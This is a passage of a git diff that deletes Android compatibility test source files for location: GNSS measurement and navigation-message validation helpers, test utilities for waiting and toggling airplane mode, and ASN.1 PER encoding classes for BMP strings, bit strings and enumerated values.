- "0ms >= X <= 600ms (0.6sec)",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 600);
- } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
- == GnssMeasurement.STATE_BIT_SYNC) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_BIT_SYNC",
- "GnssStatus.CONSTELLATION_BEIDOU"),
- timeInNs,
- "0ms >= X <= 20ms",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 20);
- } else if ((state & GnssMeasurement.STATE_BDS_D2_BIT_SYNC)
- == GnssMeasurement.STATE_BDS_D2_BIT_SYNC) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_BDS_D2_BIT_SYNC",
- "GnssStatus.CONSTELLATION_BEIDOU"),
- timeInNs,
- "0ms >= X <= 2ms",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 2);
- } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
- == GnssMeasurement.STATE_CODE_LOCK) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_CODE_LOCK",
- "GnssStatus.CONSTELLATION_BEIDOU"),
- timeInNs,
- "0ms >= X <= 1ms",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 1);
- }
- break;
- }
- }
-
- private static String getReceivedSvTimeNsLogMessage(String state, String constellationType) {
- return "received_sv_time_ns: Received SV Time-of-Week in ns. Constellation type = "
- + constellationType + ". State = " + state;
- }
-
- /**
- * Verify sv times are in expected range for given constellation type.
- * This is common check for CONSTELLATION_GPS & CONSTELLATION_QZSS.
- *
- * @param measurement GnssMeasurement
- * @param softAssert custom SoftAssert
- * @param timeInNs event time in ns
- * @param state GnssMeasurement State
- * @param constellationType Gnss Constellation type
- */
- private static void verifyGpsQzssSvTimes(GnssMeasurement measurement,
- SoftAssert softAssert, long timeInNs, int state, String constellationType) {
-
- long received_sv_time_ns = measurement.getReceivedSvTimeNanos();
- double sv_time_ms = TimeUnit.NANOSECONDS.toMillis(received_sv_time_ns);
- double sv_time_sec = TimeUnit.NANOSECONDS.toSeconds(received_sv_time_ns);
- double sv_time_days = TimeUnit.NANOSECONDS.toDays(received_sv_time_ns);
-
- if ((state & GnssMeasurement.STATE_TOW_DECODED)
- == GnssMeasurement.STATE_TOW_DECODED) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_TOW_DECODED",
- constellationType),
- timeInNs,
- "0 >= X <= 7 days",
- String.valueOf(sv_time_days),
- sv_time_days >= 0 && sv_time_days <= 7);
- } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
- == GnssMeasurement.STATE_TOW_KNOWN) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_TOW_KNOWN",
- constellationType),
- timeInNs,
- "0 >= X <= 7 days",
- String.valueOf(sv_time_days),
- sv_time_days >= 0 && sv_time_days <= 7);
- } else if ((state & GnssMeasurement.STATE_SUBFRAME_SYNC)
- == GnssMeasurement.STATE_SUBFRAME_SYNC) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_SUBFRAME_SYNC",
- constellationType),
- timeInNs,
- "0s >= X <= 6s",
- String.valueOf(sv_time_sec),
- sv_time_sec >= 0 && sv_time_sec <= 6);
- } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
- == GnssMeasurement.STATE_BIT_SYNC) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_BIT_SYNC",
- constellationType),
- timeInNs,
- "0ms >= X <= 20ms",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 20);
-
- } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
- == GnssMeasurement.STATE_CODE_LOCK) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_CODE_LOCK",
- constellationType),
- timeInNs,
- "0ms >= X <= 1ms",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 1);
- }
- }
-
-
- /**
- * Get a unique string for the SV including the constellation and the default L1 band.
- *
- * @param constellationType Gnss Constellation type
- * @param svId Gnss Sv Identifier
- */
- public static String getUniqueSvStringId(int constellationType, int svId) {
- return getUniqueSvStringId(constellationType, svId, GnssBand.GNSS_L1);
- }
-
- /**
- * Get a unique string for the SV including the constellation and the band.
- *
- * @param constellationType Gnss Constellation type
- * @param svId Gnss Sv Identifier
- * @param carrierFrequencyHz Carrier Frequency for Sv in Hz
- */
- public static String getUniqueSvStringId(int constellationType, int svId,
- float carrierFrequencyHz) {
- return getUniqueSvStringId(constellationType, svId,
- frequencyToGnssBand(carrierFrequencyHz));
- }
-
- private static String getUniqueSvStringId(int constellationType, int svId, GnssBand gnssBand) {
- return gnssBand.toString() + "." + constellationType + "." + svId;
- }
-
- /**
- * Assert all mandatory fields in Gnss Navigation Message are in expected range.
- * See mandatory fields in {@code gps.h}.
- *
- * @param testLocationManager TestLocationManager
- * @param events GnssNavigationMessageEvents
- */
- public static void verifyGnssNavMessageMandatoryField(TestLocationManager testLocationManager,
- List<GnssNavigationMessage> events) {
- // Verify mandatory GnssNavigationMessage field values.
- SoftAssert softAssert = new SoftAssert(TAG);
- for (GnssNavigationMessage message : events) {
- int type = message.getType();
- softAssert.assertTrue("Gnss Navigation Message Type:expected [" +
- getGnssNavMessageTypes() + "] actual = " + type,
- GNSS_NAVIGATION_MESSAGE_TYPE.contains(type));
-
- int messageType = message.getType();
- softAssert.assertTrue("Message ID cannot be 0", message.getMessageId() != 0);
- if (messageType == GnssNavigationMessage.TYPE_GAL_I) {
- softAssert.assertTrue("Sub Message ID can not be negative.",
- message.getSubmessageId() >= 0);
- } else {
- softAssert.assertTrue("Sub Message ID has to be greater than 0.",
- message.getSubmessageId() > 0);
- }
-
- // if message type == TYPE_L1CA, verify PRN & Data Size.
- if (messageType == GnssNavigationMessage.TYPE_GPS_L1CA) {
- int svid = message.getSvid();
- softAssert.assertTrue("Space Vehicle ID : expected = [1, 32], actual = " +
- svid,
- svid >= 1 && svid <= 32);
- int dataSize = message.getData().length;
- softAssert.assertTrue("Data size: expected = 40, actual = " + dataSize,
- dataSize == 40);
- } else {
- Log.i(TAG, "GnssNavigationMessage (type = " + messageType
- + ") skipped for verification.");
- }
- }
- softAssert.assertAll();
- }
-
- /**
- * Asserts presence of CarrierFrequency and the values are in expected range.
- * As per CDD 7.3.3 / C-3-3 Year 2107+ should have Carrier Frequency present
- * As of 2018, per http://www.navipedia.net/index.php/GNSS_signal, all known GNSS bands
- * lie within 2 frequency ranges [1100-1300] & [1500-1700].
- *
- * @param softAssert custom SoftAssert
- * @param testLocationManager TestLocationManager
- * @param hasCarrierFrequency Whether carrierFrequency is present
- * @param carrierFrequencyHz Value of carrier frequency in Hz if hasCarrierFrequency is true.
- * It is ignored when hasCarrierFrequency is false.
- */
- public static void verifyGnssCarrierFrequency(SoftAssert softAssert,
- TestLocationManager testLocationManager,
- boolean hasCarrierFrequency, float carrierFrequencyHz) {
- // Enforcing CarrierFrequencyHz present only for devices shipped with P+.
- if (SystemProperties.getInt("ro.product.first_api_level", 0) >= Build.VERSION_CODES.P) {
- softAssert.assertTrue("Measurement has Carrier Frequency: " + hasCarrierFrequency,
- hasCarrierFrequency);
- }
-
- if (hasCarrierFrequency) {
- float frequencyMhz = carrierFrequencyHz/1e6F;
- softAssert.assertTrue("carrier_frequency_mhz: Carrier frequency in Mhz",
- "1100 < X < 1300 || 1500 < X < 1700",
- String.valueOf(frequencyMhz),
- (frequencyMhz > 1100.0 && frequencyMhz < 1300.0) ||
- (frequencyMhz > 1500.0 && frequencyMhz < 1700.0));
- }
- }
-
- private static String getGnssNavMessageTypes() {
- StringBuilder typesStr = new StringBuilder();
- for (int type : GNSS_NAVIGATION_MESSAGE_TYPE) {
- typesStr.append(String.format("0x%04X", type));
- typesStr.append(", ");
- }
-
- return typesStr.length() > 2 ? typesStr.substring(0, typesStr.length() - 2) : "";
- }
-
- /**
- * The band information is as of 2018, per http://www.navipedia.net/index.php/GNSS_signal
- * Bands are combined for simplicity as the constellation is also tracked.
- *
- * @param frequencyHz Frequency in Hz
- * @return GnssBand where the frequency lies.
- */
- private static GnssBand frequencyToGnssBand(float frequencyHz) {
- float frequencyMhz = frequencyHz/1e6F;
- if (frequencyMhz >= 1151 && frequencyMhz <= 1214) {
- return GnssBand.GNSS_L5;
- }
- if (frequencyMhz > 1214 && frequencyMhz <= 1255) {
- return GnssBand.GNSS_L2;
- }
- if (frequencyMhz > 1255 && frequencyMhz <= 1300) {
- return GnssBand.GNSS_E6;
- }
- return GnssBand.GNSS_L1; // default to L1 band
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestUtils.java b/tests/tests/location/src/android/location/cts/TestUtils.java
deleted file mode 100644
index 3a0100b..0000000
--- a/tests/tests/location/src/android/location/cts/TestUtils.java
+++ /dev/null
@@ -1,160 +0,0 @@
-/*
- * Copyright (C) 2016 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.net.ConnectivityManager;
-import android.net.NetworkInfo;
-import android.util.Log;
-
-import com.android.compatibility.common.util.SystemUtil;
-
-import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class TestUtils {
- private static final String TAG = "LocationTestUtils";
-
- private static final long STANDARD_WAIT_TIME_MS = 50;
- private static final long STANDARD_SLEEP_TIME_MS = 50;
-
- private static final int DATA_CONNECTION_CHECK_INTERVAL_MS = 500;
- private static final int DATA_CONNECTION_CHECK_COUNT = 10; // 500 * 10 - Roughly 5 secs wait
-
- public static boolean waitFor(CountDownLatch latch, int timeInSec) throws InterruptedException {
- // Since late 2014, if the main thread has been occupied for long enough, Android will
- // increase its priority. Such new behavior can causes starvation to the background thread -
- // even if the main thread has called await() to yield its execution, the background thread
- // still can't get scheduled.
- //
- // Here we're trying to wait on the main thread for a PendingIntent from a background
- // thread. Because of the starvation problem, the background thread may take up to 5 minutes
- // to deliver the PendingIntent if we simply call await() on the main thread. In order to
- // give the background thread a chance to run, we call Thread.sleep() in a loop. Such dirty
- // hack isn't ideal, but at least it can work.
- //
- // See also: b/17423027
- long waitTimeRounds = (TimeUnit.SECONDS.toMillis(timeInSec)) /
- (STANDARD_WAIT_TIME_MS + STANDARD_SLEEP_TIME_MS);
- for (int i = 0; i < waitTimeRounds; ++i) {
- Thread.sleep(STANDARD_SLEEP_TIME_MS);
- if (latch.await(STANDARD_WAIT_TIME_MS, TimeUnit.MILLISECONDS)) {
- return true;
- }
- }
- return false;
- }
-
- public static boolean waitForWithCondition(int timeInSec, Callable<Boolean> callback)
- throws Exception {
- long waitTimeRounds = (TimeUnit.SECONDS.toMillis(timeInSec)) / STANDARD_SLEEP_TIME_MS;
- for (int i = 0; i < waitTimeRounds; ++i) {
- Thread.sleep(STANDARD_SLEEP_TIME_MS);
- if(callback.call()) return true;
- }
- return false;
- }
-
- public static boolean deviceHasGpsFeature(Context context) {
- // If device does not have a GPS, skip the test.
- if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION_GPS)) {
- return true;
- }
- Log.w(TAG, "GPS feature not present on device, skipping GPS test.");
- return false;
- }
-
- /**
- * Returns whether the device is currently connected to a wifi or cellular.
- *
- * @param context {@link Context} object
- * @return {@code true} if connected to Wifi or Cellular; {@code false} otherwise
- */
- public static boolean isConnectedToWifiOrCellular(Context context) {
- NetworkInfo info = getActiveNetworkInfo(context);
- return info != null
- && info.isConnected()
- && (info.getType() == ConnectivityManager.TYPE_WIFI
- || info.getType() == ConnectivityManager.TYPE_MOBILE);
- }
-
- /**
- * Gets the active network info.
- *
- * @param context {@link Context} object
- * @return {@link NetworkInfo}
- */
- private static NetworkInfo getActiveNetworkInfo(Context context) {
- ConnectivityManager cm = getConnectivityManager(context);
- if (cm != null) {
- return cm.getActiveNetworkInfo();
- }
- return null;
- }
-
- /**
- * Gets the connectivity manager.
- *
- * @param context {@link Context} object
- * @return {@link ConnectivityManager}
- */
- public static ConnectivityManager getConnectivityManager(Context context) {
- return (ConnectivityManager) context.getApplicationContext()
- .getSystemService(Context.CONNECTIVITY_SERVICE);
- }
-
- /**
- * Returns {@code true} if the setting {@code airplane_mode_on} is set to 1.
- */
- public static boolean isAirplaneModeOn() {
- return SystemUtil.runShellCommand("settings get global airplane_mode_on")
- .trim().equals("1");
- }
-
- /**
- * Changes the setting {@code airplane_mode_on} to 1 if {@code enableAirplaneMode}
- * is {@code true}. Otherwise, it is set to 0.
- *
- * <p>Waits for a certain time duration for network connections to turn on/off based on
- * {@code enableAirplaneMode}.
- */
- public static void setAirplaneModeOn(Context context,
- boolean enableAirplaneMode) throws InterruptedException {
- Log.i(TAG, "Setting airplane_mode_on to " + enableAirplaneMode);
- SystemUtil.runShellCommand("cmd connectivity airplane-mode "
- + (enableAirplaneMode ? "enable" : "disable"));
-
- // Wait for a few seconds until the airplane mode changes take effect. The airplane mode on
- // state and the WiFi/cell connected state are opposite. So, we wait while they are the
- // same or until the specified time interval expires.
- //
- // Note that in unusual cases where the WiFi/cell are not in a connected state before
- // turning on airplane mode, then turning off airplane mode won't restore either of
- // these connections, and then the wait time below will be wasteful.
- int dataConnectionCheckCount = DATA_CONNECTION_CHECK_COUNT;
- while (enableAirplaneMode == isConnectedToWifiOrCellular(context)) {
- if (--dataConnectionCheckCount <= 0) {
- Log.w(TAG, "Airplane mode " + (enableAirplaneMode ? "on" : "off")
- + " setting did not take effect on WiFi/cell connected state.");
- return;
- }
- Thread.sleep(DATA_CONNECTION_CHECK_INTERVAL_MS);
- }
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1BMPString.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1BMPString.java
deleted file mode 100644
index 417fa37..0000000
--- a/tests/tests/location/src/android/location/cts/asn1/base/Asn1BMPString.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.asn1.base;
-
-import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
-
-import com.google.common.base.Preconditions;
-import com.google.common.collect.ImmutableList;
-
-import java.nio.ByteBuffer;
-import java.util.Collection;
-
-/**
- * A BMP string is a string from the Basic Multilingual Plane of Unicode, i.e.
- * codepoints 0x0000 to 0xFFFF.
- *
- * Implements ASN.1 functionality.
- *
- */
-public class Asn1BMPString extends Asn1Object {
- private static final Collection<Asn1Tag> possibleFirstTags =
- ImmutableList.of(Asn1Tag.BMP_STRING);
-
- private String value;
- private int minimumSize = 0;
- private Integer maximumSize = null; // Null == unconstrained.
-
- public static Collection<Asn1Tag> getPossibleFirstTags() {
- return possibleFirstTags;
- }
-
- @Override Asn1Tag getDefaultTag() {
- return Asn1Tag.BMP_STRING;
- }
-
- @Override int getBerValueLength() {
- throw new UnsupportedOperationException();
- }
-
- @Override void encodeBerValue(ByteBuffer buf) {
- throw new UnsupportedOperationException();
- }
-
- @Override void decodeBerValue(ByteBuffer buf) {
- throw new UnsupportedOperationException();
- }
-
- protected void setMinSize(int min) {
- minimumSize = min;
- }
-
- protected void setMaxSize(int max) {
- maximumSize = max;
- }
-
- public String getValue() {
- return value;
- }
-
- public void setValue(String value) {
- this.value = value;
- }
-
- private Iterable<BitStream> encodePerImpl(boolean aligned) {
- Preconditions.checkNotNull(value, "No value set.");
- int length = Character.codePointCount(value, 0, value.length());
- Preconditions.checkState(length >= minimumSize, "Value too short.");
- Preconditions.checkState(maximumSize == null || length <= maximumSize,
- "Value too long.");
- int characterBitCount = 16; // Unless tight alphabet constraint.
- if (maximumSize == null) {
- throw new UnsupportedOperationException("unconstrained unimplemented");
- }
-
- BitStream encodedCharacters = encodeCharactersPer();
- if (aligned && maximumSize * characterBitCount > 16) {
- encodedCharacters.setBeginByteAligned();
- }
-
- if (minimumSize == maximumSize
- && maximumSize < SIXTYFOUR_K) {
- return ImmutableList.of(encodedCharacters);
- }
-
- if (maximumSize >= SIXTYFOUR_K) {
- throw new UnsupportedOperationException("large string unimplemented");
- }
-
- // A little oddity when maximumSize != minimumSize.
- if (aligned && maximumSize * characterBitCount == 16) {
- encodedCharacters.setBeginByteAligned();
- }
-
- // Must be preceded by a count. The count and the bit field may be
- // independently aligned.
- BitStream count = null;
- if (aligned) {
- count = PerAlignedUtils.encodeSmallConstrainedWholeNumber(
- value.length(), minimumSize, maximumSize);
- } else {
- count = PerUnalignedUtils.encodeConstrainedWholeNumber(
- value.length(), minimumSize, maximumSize);
- }
- return ImmutableList.of(count, encodedCharacters);
- }
-
- @Override public Iterable<BitStream> encodePerUnaligned() {
- return encodePerImpl(false);
- }
-
- @Override public Iterable<BitStream> encodePerAligned() {
- return encodePerImpl(true);
- }
-
- private BitStream encodeCharactersPer() {
- BitStream result = new BitStream();
- int position = 0;
- while (position < value.length()) {
- int codepoint = Character.codePointAt(value, position);
- Preconditions.checkState(codepoint <= 0xFFFF,
- "Illegal character atposition %s", position);
- // When characterBitCount == 16.
- result.appendByte((byte) ((codepoint & 0xFF00) >> 8));
- result.appendByte((byte) (codepoint & 0xFF));
-
- position += Character.charCount(codepoint);
- }
- return result;
- }
-
- private void decodePerImpl(BitStreamReader reader, boolean aligned) {
- int characterBitCount = 16; // Unless tight alphabet constraint.
- if (maximumSize == null) {
- throw new UnsupportedOperationException("unconstrained unimplemented");
- }
-
- if (minimumSize == maximumSize
- && maximumSize < SIXTYFOUR_K) {
- if (aligned && maximumSize * characterBitCount > 16) {
- reader.spoolToByteBoundary();
- }
- value = decodeCharactersPer(reader, maximumSize);
- return;
- }
-
- if (maximumSize >= SIXTYFOUR_K) {
- throw new UnsupportedOperationException("large string unimplemented");
- }
-
- // Value is preceded by a count.
- int count = 0;
- if (aligned) {
- count = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
- reader, minimumSize, maximumSize);
- } else {
- count = PerUnalignedUtils.decodeConstrainedWholeNumber(
- reader, minimumSize, maximumSize);
- }
-
- if (aligned && maximumSize * characterBitCount >= 16) {
- reader.spoolToByteBoundary();
- }
-
- value = decodeCharactersPer(reader, count);
- }
-
- @Override public void decodePerUnaligned(BitStreamReader reader) {
- decodePerImpl(reader, false);
- }
-
- @Override public void decodePerAligned(BitStreamReader reader) {
- decodePerImpl(reader, true);
- }
-
- private String decodeCharactersPer(BitStreamReader reader,
- int howMany) {
- StringBuilder builder = new StringBuilder();
- for (int i = 0; i < howMany; i++) {
- int codepoint = (reader.readByte() & 0xFF) << 8;
- codepoint += reader.readByte() & 0xFF;
- builder.append(Character.toChars(codepoint));
- }
- return builder.toString();
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1BitString.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1BitString.java
deleted file mode 100644
index dcf50d7..0000000
--- a/tests/tests/location/src/android/location/cts/asn1/base/Asn1BitString.java
+++ /dev/null
@@ -1,204 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.asn1.base;
-
-import static android.location.cts.asn1.base.PerAlignedUtils.SIXTYFOUR_K;
-
-import com.google.common.base.Preconditions;
-import com.google.common.collect.ImmutableList;
-
-import java.nio.ByteBuffer;
-import java.util.BitSet;
-import java.util.Collection;
-
-/**
- * Implements ASN.1 functionality.
- * as an asn1 BIT STRING does.
- *
- * <P>This class is not thread-safe without external synchronization.
- *
- */
-public class Asn1BitString extends Asn1Object {
- private static final Collection<Asn1Tag> possibleFirstTags =
- ImmutableList.of(Asn1Tag.BIT_STRING);
-
- private int minimumSize = 0;
- private Integer maximumSize = null; // null == unbounded.
- private BitSet value;
-
- public static Collection<Asn1Tag> getPossibleFirstTags() {
- return possibleFirstTags;
- }
-
- protected void setMinSize(int min) {
- minimumSize = min;
- }
-
- protected void setMaxSize(int max) {
- maximumSize = max;
- }
-
- public BitSet getValue() {
- return value;
- }
-
- public void setValue(BitSet value) {
- this.value = value;
- }
-
- @Override Asn1Tag getDefaultTag() {
- return Asn1Tag.BIT_STRING;
- }
-
- @Override int getBerValueLength() {
- Preconditions.checkNotNull(value, "No value set.");
- // the +1 is for the extra leading octet indicating the number of unused bits in last octet
- return (value.length() + 7) / 8 + 1;
- }
-
- @Override void encodeBerValue(ByteBuffer buf) {
- Preconditions.checkNotNull(value, "No value set.");
- Preconditions.checkState(
- maximumSize == null || value.length() <= maximumSize, "Too large %s",
- value.length());
-
- int bitsToEncode = Math.max(minimumSize, value.length());
- BitStream bitStream = new BitStream();
- for (int i = 0; i < bitsToEncode; i++) {
- bitStream.appendBit(value.get(i));
- }
-
- buf.put((byte) ((8 - (value.length() % 8)) % 8));
- buf.put(bitStream.getPaddedBytes());
- }
-
- @Override void decodeBerValue(ByteBuffer buf) {
- int unusedBits = buf.get() & 0xFF;
- byte[] valueBytes = getRemaining(buf);
- final int numBits = valueBytes.length * 8 - unusedBits;
- value = new BitSet(numBits);
- BitStreamReader reader = new BitStreamReader(valueBytes);
- for (int i = 0; i < numBits; i++) {
- value.set(i, reader.readBit());
- }
- }
-
- private Iterable<BitStream> encodePerImpl(boolean aligned) {
- Preconditions.checkNotNull(value, "No value set.");
- Preconditions.checkState(
- maximumSize == null || value.length() <= maximumSize, "Too large %s",
- value.length());
- if (maximumSize == null) {
- throw new UnsupportedOperationException("unconstrained unimplemented");
- }
-
- if (minimumSize == maximumSize) {
- if (maximumSize == 0) {
- return ImmutableList.of();
- }
- if (maximumSize < SIXTYFOUR_K) {
- BitStream result = new BitStream();
- for (int i = 0; i < maximumSize; i++) {
- result.appendBit(value.get(i));
- }
- if (aligned && maximumSize > 16) {
- result.setBeginByteAligned();
- }
- return ImmutableList.of(result);
- }
- // Fall through to the general case.
- }
-
- if (maximumSize >= SIXTYFOUR_K) {
- throw new UnsupportedOperationException("large set unimplemented");
- }
-
- int bitsToEncode = Math.max(minimumSize, value.length());
- BitStream count = null;
- if (aligned) {
- count = PerAlignedUtils.encodeSmallConstrainedWholeNumber(
- bitsToEncode, minimumSize, maximumSize);
- } else {
- count = PerUnalignedUtils.encodeConstrainedWholeNumber(
- bitsToEncode, minimumSize, maximumSize);
- }
- BitStream result = new BitStream();
- if (aligned) {
- result.setBeginByteAligned();
- }
- for (int i = 0; i < bitsToEncode; i++) {
- result.appendBit(value.get(i));
- }
- return ImmutableList.of(count, result);
- }
-
- @Override public Iterable<BitStream> encodePerUnaligned() {
- return encodePerImpl(false);
- }
-
- @Override public Iterable<BitStream> encodePerAligned() {
- return encodePerImpl(true);
- }
-
- private void decodePerImpl(BitStreamReader reader, boolean aligned) {
- value = new BitSet();
- if (maximumSize == null) {
- throw new UnsupportedOperationException("unconstrained unimplemented");
- }
-
- if (minimumSize == maximumSize) {
- if (maximumSize == 0) {
- return;
- }
- if (maximumSize < SIXTYFOUR_K) {
- if (aligned && maximumSize > 16) {
- reader.spoolToByteBoundary();
- }
- for (int i = 0; i < maximumSize; i++) {
- value.set(i, reader.readBit());
- }
- return;
- }
- // Fall through to the general case.
- }
-
- if (maximumSize >= SIXTYFOUR_K) {
- throw new UnsupportedOperationException("large set unimplemented");
- }
-
- int length = 0;
- if (aligned) {
- length = PerAlignedUtils.decodeSmallConstrainedWholeNumber(
- reader, minimumSize, maximumSize);
- reader.spoolToByteBoundary();
- } else {
- length = PerUnalignedUtils.decodeConstrainedWholeNumber(
- reader, minimumSize, maximumSize);
- }
- for (int i = 0; i < length; i++) {
- value.set(i, reader.readBit());
- }
- }
-
- @Override public void decodePerUnaligned(BitStreamReader reader) {
- decodePerImpl(reader, false);
- }
-
- @Override public void decodePerAligned(BitStreamReader reader) {
- decodePerImpl(reader, true);
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Enumerated.java b/tests/tests/location/src/android/location/cts/asn1/base/Asn1Enumerated.java
deleted file mode 100644
index d39bb39..0000000
--- a/tests/tests/location/src/android/location/cts/asn1/base/Asn1Enumerated.java
+++ /dev/null
@@ -1,160 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.asn1.base;
-
-import com.google.common.base.Preconditions;
-import com.google.common.collect.ImmutableList;
-
-import java.math.BigInteger;
-import java.nio.ByteBuffer;
-import java.util.Collection;
-
-/**
- */
-public abstract class Asn1Enumerated extends Asn1Object {
- private static final Collection<Asn1Tag> possibleFirstTags =
- ImmutableList.of(Asn1Tag.ENUMERATED);
-
- private Value value;
-
- public interface Value {
- int getAssignedValue();
- boolean isExtensionValue();
- int ordinal(); // Standard enum method.
- }
-
- public static Collection<Asn1Tag> getPossibleFirstTags() {
- return possibleFirstTags;
- }
-
- public Value getValue() {
- return value;
- }
-
- public void setValue(Value value) {
- this.value = value;
- }
-
- protected abstract boolean isExtensible();
-
- /**
- * Returns the ordinal:th value in size order.
- */
- protected abstract Value lookupValue(int ordinal);
-
- /**
- * Returns the ordinal:th extension value in size order.
- */
- protected abstract Value lookupExtensionValue(int ordinal);
-
- /**
- * Returns the number of distinct values (not counting extensions).
- */
- protected abstract int getValueCount();
-
- @Override Asn1Tag getDefaultTag() {
- return Asn1Tag.ENUMERATED;
- }
-
- @Override int getBerValueLength() {
- return asAsn1Integer().getBerValueLength();
- }
-
- @Override void encodeBerValue(ByteBuffer buf) {
- asAsn1Integer().encodeBerValue(buf);
- }
-
- @Override void decodeBerValue(ByteBuffer buf) {
- Asn1Integer ai = new Asn1Integer();
- ai.decodeBerValue(buf);
- value = lookupValue(ai.getInteger().intValue());
- }
-
- private Asn1Integer asAsn1Integer() {
- Preconditions.checkNotNull(value, "No value set.");
- Asn1Integer ai = new Asn1Integer();
- ai.setInteger(BigInteger.valueOf(value.getAssignedValue()));
- return ai;
- }
-
- private Iterable<BitStream> encodePerImpl(boolean aligned) {
- ImmutableList.Builder<BitStream> builder = ImmutableList.builder();
- if (isExtensible()) {
- BitStream extensionMarker = new BitStream();
- extensionMarker.appendBit(value.isExtensionValue());
- builder.add(extensionMarker);
- }
- if (value.isExtensionValue()) {
- if (aligned) {
- builder.addAll(
- PerAlignedUtils.encodeNormallySmallWholeNumber(value.ordinal()));
- } else {
- builder.addAll(
- PerUnalignedUtils.encodeNormallySmallWholeNumber(value.ordinal()));
- }
- } else {
- // Note that it is NOT guaranteed in the asn1 spec that the root values
- // are sorted in order. However, asn12j sorts them for us.
- if (aligned) {
- builder.add(
- PerAlignedUtils.encodeSmallConstrainedWholeNumber(
- value.ordinal(), 0, getValueCount() - 1));
- } else {
- builder.add(
- PerUnalignedUtils.encodeConstrainedWholeNumber(
- value.ordinal(), 0, getValueCount() - 1));
- }
- }
- return builder.build();
- }
-
- @Override public Iterable<BitStream> encodePerUnaligned() {
- return encodePerImpl(false);
- }
-
- @Override public Iterable<BitStream> encodePerAligned() {
- return encodePerImpl(true);
- }
-
- private void decodePerImpl(BitStreamReader reader, boolean aligned) {
- if (isExtensible() && reader.readBit()) {
- if (aligned) {
- value = lookupExtensionValue(PerAlignedUtils.decodeNormallySmallWholeNumber(reader));
- } else {
- value = lookupExtensionValue(PerUnalignedUtils.decodeNormallySmallWholeNumber(reader));
- }
- } else {
- if (aligned) {
- value = lookupValue(
- PerAlignedUtils.decodeSmallConstrainedWholeNumber(
- reader, 0, getValueCount() - 1));
- } else {
- value = lookupValue(
- PerUnalignedUtils.decodeConstrainedWholeNumber(
- reader, 0, getValueCount() - 1));
- }
- }
- }
-
- @Override public void decodePerUnaligned(BitStreamReader reader) {
- decodePerImpl(reader, false);
- }
-
- @Override public void decodePerAligned(BitStreamReader reader) {
- decodePerImpl(reader, true);
- }
-}
